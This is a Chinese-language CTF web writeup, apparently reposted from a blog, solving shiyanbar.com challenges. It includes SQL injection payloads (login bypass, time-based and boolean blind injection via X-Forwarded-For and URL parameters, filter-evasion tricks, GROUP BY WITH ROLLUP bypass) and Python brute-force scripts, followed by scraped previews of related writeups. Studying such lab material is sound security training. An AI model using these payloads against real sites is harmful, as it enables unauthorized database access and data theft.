1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2

登陆一下好吗??

题目链接

http://shiyanbar.com/ctf/1942

题目描述

不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

flag格式:ctf{xxxx}

解题思路

一个万能密码问题,多试试就可以了。

username: ‘‘=‘
password: ‘‘=‘

who are you?

题目链接

http://shiyanbar.com/ctf/1941

题目描述

我要把攻击我的人都记录db中去!

解题思路

看到题目就想到修改x-forwarded-for来进行注入。经过测试,,以及后面的内容都会被过滤,这就导致我们的传统注入语句失效了,这里可以使用case when then语句进行注入。

  1. 判断数据库名称长度 1‘ and case when (length((SELECT concat(database())))<5) then sleep(3) else sleep(0) end and ‘1‘=‘1,此句如果执行有延迟,则说明数据库名称小于5个字符,使用<4的时候,执行不成功,说明数据库长度为4个字符。
  2. 判断数据库名的各个字符,"1‘ and case when (substring((select database()) from %s for 1)=‘%s‘) then sleep(5) else sleep(0) end and ‘1‘=‘1"%(i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,从此句可判断数据库名为web4
  3. 查看数据库中表单的数量,1‘ and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema=‘web4‘) = 2) then sleep(3) else sleep(0) end and ‘1‘=‘1;此句判断数据库中有两个表。
  4. 判断数据库表名长度,"1‘ and case when(substring((select group_concat(table_name separator ‘;‘) from information_schema.tables where table_schema=‘web4‘) from %s for 1)=‘‘) then sleep(6) else 0 end and ‘a‘=‘a" % (i),其中i为长度。
  5. 判断数据库表名,"1‘ and case when(ascii(substring((select group_concat(table_name separator ‘;‘) from information_schema.tables where table_schema=‘web4‘) from %s for 1))=%s) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,找到表flag
  6. 判断表flag字段,"1‘ and case when(ascii(substring((select group_concat(column_name separator ‘;‘) from information_schema.columns where table_name=‘flag‘) from %s for 1))=%s) then sleep(6) else 0 end and ‘a‘=‘a" % (i,each),得到字段flag
  7. 判断表flag,字段flag中内容长度,"1‘ and case when(length(substring((select group_concat(flag separator ‘;‘) from flag) from %s for 1))=‘‘) then sleep(6) else 0 end and ‘a‘=‘a" %i
  8. 获取flag值,"1‘ and (select case when (substring((select flag from flag ) from %d for 1 )=‘%s‘) then sleep(10) else sleep(0) end ) and ‘1‘=‘1"%(i,str)
  9. flag值为

列一下获取flag的脚本

\#-*-coding:utf-8-*-#基于python2.7
import requests
import string
import time
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
payloads=‘[email protected]_.{}-‘
flag=""
print("Start")
for i in range(33):
    for payload in payloads:
        starttime = time.time()#记录当前时间
        url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#题目url
        headers = {"Host": "ctf5.shiyanbar.com",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                   "Accept-Encoding": "gzip, deflate",
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
                   "Connection": "keep-alive",
                   "X-FORWARDED-FOR":"127.0.0.1‘ and case when ((select count(flag) from flag where flag like ‘"+flag+payload+"%‘)>0) then sleep(5) else sleep(0) end and ‘1‘=‘1"
                   }
        #bp拿到header并对X-FORWARDED-FOR进行修改,后面语句大意为从flag中选择出flag,若首字母段为flag,payload变量拼接则sleep5秒,看不懂的可以学一下case when语句和like %语句
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 5:
            starttime2 = time.time()
            res = requests.get(url, headers=headers)
            if time.time() - starttime > 5:
                flag += payload
                print("flag is:%s"%flag)
                break
        else:
            pass
            #print(‘‘,)#没啥解释的了,就是不断试payload,找到就接到flag上去然后继续试下一个
print(‘\n[Finally] current flag is %s‘ % flag)
# cdbf14c9551d5be5612f7bb5d2867853

这道题提交必须加ctf,是个坑,提交了好多次,才正确。

ctf{cdbf14c9551d5be5612f7bb5d2867853}

因缺思汀的绕过

题目链接

http://shiyanbar.com/ctf/1940

题目描述

访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。

flag格式 CTF{}

解题思路

在注释里找到<!--source: source.txt-->,是源码文件:

<?php
error_reporting(0);

if (!isset($_POST[‘uname‘]) || !isset($_POST[‘pwd‘])) {
    echo ‘<form action="" method="post">‘."<br/>";
    echo ‘<input name="uname" type="text"/>‘."<br/>";
    echo ‘<input name="pwd" type="text"/>‘."<br/>";
    echo ‘<input type="submit" />‘."<br/>";
    echo ‘</form>‘."<br/>";
    echo ‘<!--source: source.txt-->‘."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){
        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die(‘Could not connect: ‘ . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key[‘pwd‘] == $_POST[‘pwd‘]) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

可以看到此题目设置了三个坑

1. $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
2. if (mysql_num_rows($query) == 1) {
3. if($key[‘pwd‘] == $_POST[‘pwd‘]) {

每一个都得绕过,首先第一个问题是过滤了一些字符串,但是由于已经给出了哪些字符被过滤了,所有很好绕过,使用1‘ or ‘1‘ #绕过。

第二个要求用户名查询结果集只有一个,直接使用语句1‘ or 1 limit 1 offset 0 #绕过。

第三个要求只有一个条目的结果集中pwd字段要和用户提交的字段pwd一样,如果一样,则返回flag。这个坑可以通过使用group by with rollup语句进行绕过,with rollup的作用请看下面的讲解,使用它绕过坑3的原理就是让null=null,先列出payload1‘ or 1 group by pwd with rollup limit 1 offset 2#,可以看到offset后面改为了2,同时gourp by的字段为pwd,这利用了with roolup的一个特性,当offset偏移刚好为条目最后一条+1时,还是会列出最后一条的信息,但同时本身语句是查不出内容的,当前pwd也无法聚合出内容,mysql就给出了null,这样就绕过了坑3。

GROUP BY子句允许一个将额外行添加到简略输出端 WITH ROLLUP 修饰符。这些行代表高层(或高聚集)简略操作。ROLLUP 因而允许你在多层分析的角度回答有关问询的问题。或者你可以使用 ROLLUP, 它能用一个问询提供双层分析。将一个 WITH ROLLUP修饰符添加到GROUP BY 语句,使询问产生另一行结果,该行显示了所有年份的总价值:

mysql> SELECT year, SUM(profit) FROM sales GROUP BY year WITH ROLLUP;

+------+-------------+

| year | SUM(profit) |

+------+-------------+

| 2000 | 4525 |

| 2001 | 3010 |

| NULL | 7535 |

+------+-------------+

简单的sql注入之1

题目链接

http://shiyanbar.com/ctf/1875

题目描述

通过注入获得flag值(提交格式:flag{})。

解题思路

经过fuzz,发现题目过滤了union,select,但是当输入的是unionselect的时候,就发现

都能显示出来,这种情况一般猜测是过滤空格和空格之间的内容,使用各种如+,/**/,/*!*/,%0a的都可以绕过空格。给出一个payload,id=1‘+union%0aselect/**/flag/**/from/**/flag/**/where/**/‘1‘=‘1

flag{[email protected]_5O_dAmn_90Od}

再给一个获取所有表的payload,id=1‘+union%0aselect/**/TABLE_NAME/**/from/**/information_schema.tables/**/where/**/‘1‘=‘1

简单的sql注入之2

题目链接

http://shiyanbar.com/ctf/1908

题目描述

有回显的mysql注入
格式:flag{}

解题思路

和上一类似,有区别的是这道题目又过滤了%0a,给出payload,id=1%27/**/union+select/**/flag/**/from/**/flag/**/where/**/%271%27=%271

flag{[email protected]_5O_dAmn_90Od}

简单的sql注入之3

题目链接

http://shiyanbar.com/ctf/1909

题目描述

mysql报错注入

格式:flag{}

解题思路

此题目使用sqlmap可以直接跑出来,因为题目给出了报错注入(这是坑),测试了updatexml、extractvalue使用不了,但是测试id=1‘ and ascii(substr(database(),1,1))&lt;200 --+,发现可以正常执行。中间就不给出如何去爆库,表,列了,可以参考who are you?中的方式,给出执行脚本:

# coding:utf-8
import requests
import string
string = string.digits+string.ascii_lowercase
flag = []
FLAG = False

def POC(x,i):
    url = ‘http://ctf5.shiyanbar.com/web/index_3.php?id=‘
    poc = "1‘and ascii(substr((select flag from flag),%d,1))=%d--+ " % (x, i)
    res = requests.get(url+poc)
    print(‘testing url:‘ + url + poc) # test...
    if res.text.find("Hello") > 0:
        return 1
    else:
        return 0
for x in range(1, 35):
    for i in range(35, 129):  # ascii码可见字符32-127
        if POC(x, i):
           flag.append(chr(i))  # chr()将整数转为对应的ascii码字符
           break
        elif i == 128:  # 当该位flag没有匹配的字符时退出循环
            FLAG = True
    if FLAG:
        break
# 以字符串的形式输出结果
get_flag = ‘‘
for i in flag:
    get_flag += i
print get_flag

flag{[email protected]_5O_dAmn_90Od}

天下武功唯快不破

题目链接

http://shiyanbar.com/ctf/1854

题目描述

看看响应头

格式:CTF{ }

解题思路

在页面源码删刚看到<!-- please post what you find with parameter:key -->,提交key=1,然后在响应头内看到。

UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOlZua0c2M1dJaA==解码后为P0ST_THIS_T0_CH4NGE_FL4G:VnkG63WIh,根据题目提示让快速提交,则得写脚本来进行提交了。

# coding:utf8
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL

response = requests.post(url,data={"key":"1"}) # 打开链接
print response
head = response.headers # 获取响应头
flag = base64.b64decode(head[‘flag‘]).split(‘:‘)[1] # 获取相应头中的Flag
print flag # 打印Flag
postData = {‘key‘: flag} # 构造Post请求体
result = requests.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print result.text # 打印响应内容

CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

原文地址:https://www.cnblogs.com/yh-ma/p/10271771.html

时间: 2024-07-30 07:15:36

1008.CTF 题目之 WEB Writeup 通关大全 – 2的相关文章

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "

1010.CTF 题目之 WEB Writeup 通关大全 – 4

Web题目系列4 上传绕过 题目链接 http://shiyanbar.com/ctf/1781 题目描述 bypass the upload 格式:flag{} 解题思路 随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为 推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题. flag{SimCTF_huachuan} NSCTF web200 题目链接 http://shiyanbar.com/ctf/1760 题目描述

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

ISCC 2017 Web writeup

ISCC 2017 Web writeupWeb签到题WelcomeToMySQL自相矛盾我们一起来日站I have a jpg,i upload a txt.where is your flagSimple sqli ISCC 2017 Web writeup Web签到题 这种签到题不能往难了想,首先理所当然的这样传参 hiddenflag=f1ag&flag=f1ag 这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑... WelcomeToM

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

最近面试的题目(WEB、Service、SQL、JavaScript)

整理一下最近面试被问到的主要题目.由于本人主要是做WEB及WEB SERVICE这块,使用的语言主要是C#,数据库主要用到的也是MSSQL.所以就分成这些块来整理(有些是在面试之后才意识到回答不对),也包括部分别人被问及的. 一.HTML.CSS position有哪几种值,各是怎么使用的? 一个左右部局,如何实现? 二.JAVASCRIPT, JS FRAMEWORK document.onload与jQuery中的ready有何区别? 什么是闭包?写一下. jQuery中有个叫"on&quo

ctf题目writeup(4)

2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: 一看就是jsfuck了....这种形式的,可以在线工具,或者直接f12 复制粘贴到console里面执行: 出错了....检查一下:发现最后少了个匹配的] 加上后还是报错 那就干错把首位的那个去掉: not function... 那就把最后的括号去掉: 所以答案就是: flag{f_f_l_u_a

ctf题目writeup(8)

2019.2.3 继续做别的提.bugku的密码学和杂项都做完了,清清其他自己感兴趣(能蒙对)的. 1. 刚开始寻思是不是弄个字典,然后抓包或者python爆破下. 结果随便试 KEY{zs19970315}就对了... 2. 下载后是个伪加密zip. winhex改一下: 打开txt: 之后得需要社工库了...就没办法(得FQ.) 看了别人的直接用了: flag{15206164164} 3. 尝试百度 孤长离...啥都没有. 后来才知道 这是百度贴吧的一个东西: 提示是弱口令.而且这个邮箱好

JarvisOJ平台Web题目简单部分writeup

PHPINFO 题目地址:http://web.jarvisoj.com:32784/访问网址,页面显示: <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __dest